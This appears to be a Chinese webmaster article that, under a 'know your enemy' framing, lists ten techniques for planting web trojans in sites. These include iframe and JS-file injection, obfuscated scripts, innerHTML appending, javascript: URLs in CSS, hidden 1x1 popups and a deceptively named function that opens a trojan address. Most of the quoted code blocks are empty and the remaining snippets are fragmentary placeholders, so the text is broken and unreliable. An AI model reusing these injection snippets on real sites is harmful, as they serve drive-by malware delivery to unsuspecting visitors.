做为站长是不是怕网站被挂马?那就先来了解一下他们是怎么挂马的,知已知彼,对症下药!
一:框架挂马
以下为引用的内容:
二:js文件挂马
以下为引用的内容:
首先将以下代码
document.write("");
保存为xxx.js,
则JS挂马代码为
三:js变形加密
以下为引用的内容:
muma.txt可改成任意后缀
四:body挂马
以下为引用的内容:
五:隐蔽挂马
以下为引用的内容:
top.document.body.innerHTML = top.document.body.innerHTML + '\r\n';
六:css中挂马
以下为引用的内容:
body {
background-image: url('javascript:document.write("")')}
七:JAJA挂马
以下为引用的内容:
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
八:图片伪装
以下为引用的内容:
九:伪装调用:
以下为引用的内容:
十:高级欺骗
以下为引用的内容:
function www_163_com ()
{
var url="网马地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}

